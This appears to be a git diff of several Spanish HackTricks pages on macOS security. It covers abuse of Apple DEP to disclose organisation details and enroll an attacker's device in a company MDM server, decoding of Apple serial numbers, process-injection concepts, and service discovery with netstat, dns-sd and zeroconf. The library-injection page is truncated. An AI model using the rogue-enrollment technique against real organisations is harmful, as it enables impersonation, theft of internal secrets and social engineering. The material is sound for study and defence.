![Configuración de proxy SSL de Charles.](https://duo.com/img/asset/aW1nL2xhYnMvcmVzZWFyY2gvaW1nL2NoYXJsZXNfc3NsX3Byb3h5aW5nX3NldHRpbmdzLnBuZw==?w=800\&fit=contain\&s=d1c9216716bf619e7e10e45c9968f83b)
|
||||
|
||||
![Notificación de DEP.](https://duo.com/img/asset/aW1nL2xhYnMvcmVzZWFyY2gvaW1nL2RlcF9ub3RpZmljYXRpb24ucG5n?w=800\&fit=contain\&s=4f7b95efd02245f9953487dcaac6a961)
|
||||
|
||||
## Impacto
|
||||
|
||||
Existen varios escenarios en los que se podría abusar del Programa de Inscripción de Dispositivos de Apple que llevarían a exponer información sensible sobre una organización. Los dos escenarios más obvios implican obtener información sobre la organización a la que pertenece un dispositivo, que se puede recuperar del perfil DEP. El segundo es utilizar esta información para realizar una inscripción DEP y MDM falsa. Cada uno de estos se discute más adelante.
|
||||
|
||||
### Divulgación de información
|
||||
|
||||
Como se mencionó anteriormente, parte del proceso de inscripción en DEP implica solicitar y recibir un _Registro de Activación_ (o perfil DEP) de la API de DEP. Al proporcionar un número de serie del sistema registrado en DEP válido, podemos recuperar la siguiente información (impresa en `stdout` o escrita en el registro de `ManagedClient`, dependiendo de la versión de macOS).
|
||||
```
|
||||
Activation record: {
|
||||
AllowPairing = 1;
|
||||
AnchorCertificates = (
|
||||
<array_of_der_encoded_certificates>
|
||||
);
|
||||
AwaitDeviceConfigured = 0;
|
||||
ConfigurationURL = "https://example.com/enroll";
|
||||
IsMDMUnremovable = 1;
|
||||
IsMandatory = 1;
|
||||
IsSupervised = 1;
|
||||
OrganizationAddress = "123 Main Street, Anywhere, , 12345 (USA)";
|
||||
OrganizationAddressLine1 = "123 Main Street";
|
||||
OrganizationAddressLine2 = NULL;
|
||||
OrganizationCity = Anywhere;
|
||||
OrganizationCountry = USA;
|
||||
OrganizationDepartment = "IT";
|
||||
OrganizationEmail = "dep@example.com";
|
||||
OrganizationMagic = 105CD5B18CE24784A3A0344D6V63CD91;
|
||||
OrganizationName = "Example, Inc.";
|
||||
OrganizationPhone = "+15555555555";
|
||||
OrganizationSupportPhone = "+15555555555";
|
||||
OrganizationZipCode = "12345";
|
||||
SkipSetup = (
|
||||
<array_of_setup_screens_to_skip>
|
||||
);
|
||||
SupervisorHostCertificates = (
|
||||
);
|
||||
}
|
||||
```
|
||||
Aunque parte de esta información podría estar disponible públicamente para ciertas organizaciones, tener un número de serie de un dispositivo propiedad de la organización junto con la información obtenida del perfil DEP podría ser utilizado contra el equipo de ayuda o IT de una organización para realizar cualquier número de ataques de ingeniería social, como solicitar un restablecimiento de contraseña o ayuda para inscribir un dispositivo en el servidor MDM de la empresa.
|
||||
|
||||
### Inscripción DEP fraudulenta
|
||||
|
||||
El protocolo MDM de Apple admite, pero no requiere, la autenticación de usuario antes de la inscripción MDM a través de la autenticación básica HTTP. **Sin autenticación, todo lo que se requiere para inscribir un dispositivo en un servidor MDM a través de DEP es un número de serie registrado en DEP**. Por lo tanto, un atacante que obtenga dicho número de serie (ya sea a través de OSINT, ingeniería social o por fuerza bruta) podrá inscribir un dispositivo propio como si fuera propiedad de la organización, siempre y cuando no esté actualmente inscrito en el servidor MDM. Esencialmente, si un atacante es capaz de ganar la carrera iniciando la inscripción DEP antes que el dispositivo real, pueden asumir la identidad de ese dispositivo.
|
||||
|
||||
Las organizaciones pueden, y lo hacen, aprovechar MDM para implementar información sensible como certificados de dispositivo y usuario, datos de configuración de VPN, agentes de inscripción, perfiles de configuración y varios otros datos internos y secretos organizacionales. Además, algunas organizaciones eligen no requerir la autenticación de usuario como parte de la inscripción MDM. Esto tiene varios beneficios, como una mejor experiencia de usuario y no tener que exponer el servidor de autenticación interno al servidor MDM para manejar las inscripciones MDM que tienen lugar fuera de la red corporativa.
|
||||
|
||||
Esto presenta un problema al aprovechar DEP para arrancar la inscripción MDM, ya que un atacante podría inscribir cualquier punto final de su elección en el servidor MDM de la organización. Además, una vez que un atacante inscribe con éxito un punto final de su elección en MDM, puede obtener acceso privilegiado que podría ser utilizado para pivotar aún más dentro de la red.
|
|
@ -0,0 +1,88 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
Los dispositivos Apple fabricados después de 2010 generalmente tienen números de serie alfanuméricos de **12 caracteres**, con los **primeros tres dígitos representando la ubicación de fabricación**, los siguientes **dos** indicando el **año** y la **semana** de fabricación, los siguientes **tres** dígitos proporcionando un **identificador único**, y los **últimos cuatro** dígitos representando el **número de modelo**.
|
||||
|
||||
Ejemplo de número de serie: **C02L13ECF8J2**
|
||||
|
||||
## **3 - Ubicaciones de fabricación**
|
||||
|
||||
| Código | Fábrica |
|
||||
| :--- | :--- |
|
||||
| FC | Fountain Colorado, EE. UU. |
|
||||
| F | Fremont, California, EE. UU. |
|
||||
| XA, XB, QP, G8 | EE. UU. |
|
||||
| RN | México |
|
||||
| CK | Cork, Irlanda |
|
||||
| VM | Foxconn, Pardubice, República Checa |
|
||||
| SG, E | Singapur |
|
||||
| MB | Malasia |
|
||||
| PT, CY | Corea |
|
||||
| EE, QT, UV | Taiwán |
|
||||
| FK, F1, F2 | Foxconn - Zhengzhou, China |
|
||||
| W8 | Shanghai China |
|
||||
| DL, DM | Foxconn - China |
|
||||
| DN | Foxconn, Chengdu, China |
|
||||
| YM, 7J | Hon Hai/Foxconn, China |
|
||||
| 1C, 4H, WQ, F7 | China |
|
||||
| C0 | Tech Com - Quanta Computer Subsidiary, China |
|
||||
| C3 | Foxxcon, Shenzhen, China |
|
||||
| C7 | Pentragon, Changhai, China |
|
||||
| RM | Remanufacturado |
|
||||
|
||||
## 1 - Año de fabricación
|
||||
|
||||
| Código | Lanzamiento |
|
||||
| :--- | :--- |
|
||||
| C | 2010/2020 \(1er semestre\) |
|
||||
| D | 2010/2020 \(2do semestre\) |
|
||||
| F | 2011/2021 \(1er semestre\) |
|
||||
| G | 2011/2021 \(2do semestre\) |
|
||||
| H | 2012/... \(1er semestre\) |
|
||||
| J | 2012 \(2do semestre\) |
|
||||
| K | 2013 \(1er semestre\) |
|
||||
| L | 2013 \(2do semestre\) |
|
||||
| M | 2014 \(1er semestre\) |
|
||||
| N | 2014 \(2do semestre\) |
|
||||
| P | 2015 \(1er semestre\) |
|
||||
| Q | 2015 \(2do semestre\) |
|
||||
| R | 2016 \(1er semestre\) |
|
||||
| S | 2016 \(2do semestre\) |
|
||||
| T | 2017 \(1er semestre\) |
|
||||
| V | 2017 \(2do semestre\) |
|
||||
| W | 2018 \(1er semestre\) |
|
||||
| X | 2018 \(2do semestre\) |
|
||||
| Y | 2019 \(1er semestre\) |
|
||||
| Z | 2019 \(2do semestre\) |
|
||||
|
||||
## 1 - Semana de fabricación
|
||||
|
||||
El quinto carácter representa la semana en que se fabricó el dispositivo. Hay 28 caracteres posibles en este lugar: **los dígitos del 1 al 9 se utilizan para representar las primeras nueve semanas**, y las **letras C a Y**, **excluyendo** las vocales A, E, I, O y U, y la letra S, representan las **semanas diez a veintisiete**. Para los dispositivos fabricados en la **segunda mitad del año, se agrega 26** al número representado por el quinto carácter del número de serie. Por ejemplo, un producto con un número de serie cuyos cuarto y quinto dígitos son "JH" fue fabricado en la semana 40 de 2012.
|
||||
|
||||
## 3 - Código único
|
||||
|
||||
Los siguientes tres dígitos son un código identificador que **sirve para diferenciar cada dispositivo Apple del mismo modelo** que se fabrica en la misma ubicación y durante la misma semana del mismo año, asegurando que cada dispositivo tenga un número de serie diferente.
|
||||
|
||||
## 4 - Número de serie
|
||||
|
||||
Los últimos cuatro dígitos del número de serie representan el **modelo del producto**.
|
||||
|
||||
## Referencia
|
||||
|
||||
{% embed url="https://beetstech.com/blog/decode-meaning-behind-apple-serial-number" %}
|
||||
|
||||
<details>
|
|
@ -0,0 +1,53 @@
|
|||
# Abuso de Procesos en macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com).
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Abuso de Procesos en macOS
|
||||
|
||||
macOS, como cualquier otro sistema operativo, proporciona una variedad de métodos y mecanismos para que los **procesos interactúen, se comuniquen y compartan datos**. Si bien estas técnicas son esenciales para el funcionamiento eficiente del sistema, también pueden ser abusadas por actores malintencionados para **realizar actividades maliciosas**.
|
||||
|
||||
### Inyección de Biblioteca
|
||||
|
||||
La Inyección de Biblioteca es una técnica en la que un atacante **obliga a un proceso a cargar una biblioteca maliciosa**. Una vez inyectada, la biblioteca se ejecuta en el contexto del proceso objetivo, proporcionando al atacante los mismos permisos y acceso que el proceso.
|
||||
|
||||
{% content-ref url="macos-library-injection/" %}
|
||||
[macos-library-injection](macos-library-injection/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Hooking de Funciones
|
||||
|
||||
El Hooking de Funciones implica **interceptar llamadas de función** o mensajes dentro del código de un software. Al enganchar funciones, un atacante puede **modificar el comportamiento** de un proceso, observar datos sensibles o incluso tomar el control sobre el flujo de ejecución.
|
||||
|
||||
{% content-ref url="../mac-os-architecture/macos-function-hooking.md" %}
|
||||
[macos-function-hooking.md](../mac-os-architecture/macos-function-hooking.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Comunicación entre Procesos
|
||||
|
||||
La Comunicación entre Procesos (IPC) se refiere a diferentes métodos mediante los cuales los procesos separados **comparten e intercambian datos**. Si bien IPC es fundamental para muchas aplicaciones legítimas, también puede ser mal utilizado para subvertir el aislamiento de procesos, filtrar información sensible o realizar acciones no autorizadas.
|
||||
|
||||
{% content-ref url="../mac-os-architecture/macos-ipc-inter-process-communication/" %}
|
||||
[macos-ipc-inter-process-communication](../mac-os-architecture/macos-ipc-inter-process-communication/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com).
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,70 @@
|
|||
# Inyección de biblioteca de macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
{% hint style="danger" %}
|
||||
El código de **dyld es de código abierto** y se puede encontrar en [https://opensource.apple.com/source/dyld/](https://opensource.apple.com/source/dyld/) y se puede descargar un tar usando una **URL como** [https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
|
||||
{% endhint %}
|
||||
|
||||
## **DYLD
|
||||
```c
|
||||
#include <dlfcn.h>
|
||||
#include <stdio.h>
|
||||
|
||||
int main(void)
|
||||
{
|
||||
void* handle;
|
||||
|
||||
handle = dlopen("just_name_dlopentest.dylib",1);
|
||||
if (!handle) {
|
||||
fprintf(stderr, "Error loading: %s\n", dlerror());
|
||||
}
|
||||
|
||||
handle = dlopen("a/framework/rel_framework_dlopentest.dylib",1);
|
||||
if (!handle) {
|
||||
fprintf(stderr, "Error loading: %s\n", dlerror());
|
||||
}
|
||||
|
||||
handle = dlopen("/a/abs/framework/abs_framework_dlopentest.dylib",1);
|
||||
if (!handle) {
|
||||
fprintf(stderr, "Error loading: %s\n", dlerror());
|
||||
}
|
||||
|
||||
handle = dlopen("a/folder/rel_folder_dlopentest.dylib",1);
|
||||
if (!handle) {
|
||||
fprintf(stderr, "Error loading: %s\n", dlerror());
|
||||
}
|
||||
|
||||
handle = dlopen("/a/abs/folder/abs_folder_dlopentest.dylib",1);
|
||||
if (!handle) {
|
||||
fprintf(stderr, "Error loading: %s\n", dlerror());
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Si lo compilas y ejecutas, puedes ver **dónde se buscó sin éxito cada biblioteca**. Además, podrías **filtrar los registros del sistema de archivos**:
|
||||
```bash
|
||||
sudo fs_usage | grep "dlopentest"
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,119 @@
|
|||
# Servicios y protocolos de red de macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Servicios de acceso remoto
|
||||
|
||||
Estos son los servicios comunes de macOS para acceder a ellos de forma remota.\
|
||||
Puedes habilitar/deshabilitar estos servicios en `Preferencias del sistema` --> `Compartir`
|
||||
|
||||
* **VNC**, conocido como "Compartir pantalla"
|
||||
* **SSH**, llamado "Inicio de sesión remoto"
|
||||
* **Apple Remote Desktop** (ARD), o "Administración remota"
|
||||
* **AppleEvent**, conocido como "Evento remoto de Apple"
|
||||
|
||||
Comprueba si alguno está habilitado ejecutando:
|
||||
```bash
|
||||
rmMgmt=$(netstat -na | grep LISTEN | grep tcp46 | grep "*.3283" | wc -l);
|
||||
scrShrng=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.5900" | wc -l);
|
||||
flShrng=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | egrep "\*.88|\*.445|\*.548" | wc -l);
|
||||
rLgn=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.22" | wc -l);
|
||||
rAE=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.3031" | wc -l);
|
||||
bmM=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.4488" | wc -l);
|
||||
printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharing: %s\nFile Sharing: %s\nRemote Login: %s\nRemote Mgmt: %s\nRemote Apple Events: %s\nBack to My Mac: %s\n\n" "$scrShrng" "$flShrng" "$rLgn" "$rmMgmt" "$rAE" "$bmM";
|
||||
```
|
||||
## Protocolo Bonjour
|
||||
|
||||
**Bonjour** es una tecnología diseñada por Apple que permite a las computadoras y **dispositivos ubicados en la misma red conocer los servicios ofrecidos** por otras computadoras y dispositivos. Está diseñado de tal manera que cualquier dispositivo compatible con Bonjour puede conectarse a una red TCP/IP y **elegir una dirección IP** y hacer que otras computadoras en esa red **conozcan los servicios que ofrece**. A veces se hace referencia a Bonjour como Rendezvous, **Zero Configuration** o Zeroconf.\
|
||||
La Red de Configuración Cero, como la que proporciona Bonjour, ofrece:
|
||||
|
||||
* Debe ser capaz de **obtener una dirección IP** (incluso sin un servidor DHCP)
|
||||
* Debe ser capaz de hacer **traducción de nombres a direcciones** (incluso sin un servidor DNS)
|
||||
* Debe ser capaz de **descubrir servicios en la red**
|
||||
|
||||
El dispositivo obtendrá una **dirección IP en el rango 169.254/16** y comprobará si algún otro dispositivo está utilizando esa dirección IP. Si no, mantendrá la dirección IP. Los Mac mantienen una entrada en su tabla de enrutamiento para esta subred: `netstat -rn | grep 169`
|
||||
|
||||
Para DNS se utiliza el **protocolo Multicast DNS (mDNS)**. [**Los servicios mDNS** escuchan en el puerto **5353/UDP**](../../network-services-pentesting/5353-udp-multicast-dns-mdns.md), utilizan **consultas DNS regulares** y utilizan la **dirección multicast 224.0.0.251** en lugar de enviar la solicitud solo a una dirección IP. Cualquier máquina que escuche estas solicitudes responderá, generalmente a una dirección multicast, para que todos los dispositivos puedan actualizar sus tablas.\
|
||||
Cada dispositivo **seleccionará su propio nombre** al acceder a la red, el dispositivo elegirá un nombre **que termine en .local** (puede basarse en el nombre del host o ser completamente aleatorio).
|
||||
|
||||
Para **descubrir servicios se utiliza el Descubrimiento de Servicios DNS (DNS-SD)**.
|
||||
|
||||
El requisito final de la Red de Configuración Cero se cumple mediante el **Descubrimiento de Servicios DNS (DNS-SD)**. El Descubrimiento de Servicios DNS utiliza la sintaxis de los registros SRV de DNS, pero utiliza **registros PTR de DNS para que se puedan devolver múltiples resultados** si más de un host ofrece un servicio en particular. Un cliente solicita la búsqueda PTR para el nombre `<Servicio>.<Dominio>` y **recibe** una lista de cero o más registros PTR de la forma `<Instancia>.<Servicio>.<Dominio>`.
|
||||
|
||||
El binario `dns-sd` se puede utilizar para **anunciar servicios y realizar búsquedas** de servicios:
|
||||
```bash
|
||||
#Search ssh services
|
||||
dns-sd -B _ssh._tcp
|
||||
|
||||
Browsing for _ssh._tcp
|
||||
DATE: ---Tue 27 Jul 2021---
|
||||
12:23:20.361 ...STARTING...
|
||||
Timestamp A/R Flags if Domain Service Type Instance Name
|
||||
12:23:20.362 Add 3 1 local. _ssh._tcp. M-C02C934RMD6R
|
||||
12:23:20.362 Add 3 10 local. _ssh._tcp. M-C02C934RMD6R
|
||||
12:23:20.362 Add 2 16 local. _ssh._tcp. M-C02C934RMD6R
|
||||
```
|
||||
|
||||
```bash
|
||||
#Announce HTTP service
|
||||
dns-sd -R "Index" _http._tcp . 80 path=/index.html
|
||||
|
||||
#Search HTTP services
|
||||
dns-sd -B _http._tcp
|
||||
```
|
||||
Cuando se inicia un nuevo servicio, **el nuevo servicio difunde su presencia a todos** en la subred. El oyente no tuvo que preguntar; solo tenía que estar escuchando.
|
||||
|
||||
Puedes usar [**esta herramienta**](https://apps.apple.com/us/app/discovery-dns-sd-browser/id1381004916?mt=12) para ver los **servicios ofrecidos** en tu red local actual.\
|
||||
O puedes escribir tus propios scripts en python con [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf):
|
||||
```python
|
||||
from zeroconf import ServiceBrowser, Zeroconf
|
||||
|
||||
|
||||
class MyListener:
|
||||
|
||||
def remove_service(self, zeroconf, type, name):
|
||||
print("Service %s removed" % (name,))
|
||||
|
||||
def add_service(self, zeroconf, type, name):
|
||||
info = zeroconf.get_service_info(type, name)
|
||||
print("Service %s added, service info: %s" % (name, info))
|
||||
|
||||
|
||||
zeroconf = Zeroconf()
|
||||
listener = MyListener()
|
||||
browser = ServiceBrowser(zeroconf, "_http._tcp.local.", listener)
|
||||
try:
|
||||
input("Press enter to exit...\n\n")
|
||||
finally:
|
||||
zeroconf.close()
|
||||
```
|
||||
Si sientes que Bonjour podría ser más seguro **desactivado**, puedes hacerlo con:
|
||||
```bash
|
||||
sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
|
||||
```
|
||||
## Referencias
|
||||
|
||||
* [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=)
|
||||
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,127 @@
|
|||
# Red Teaming en macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
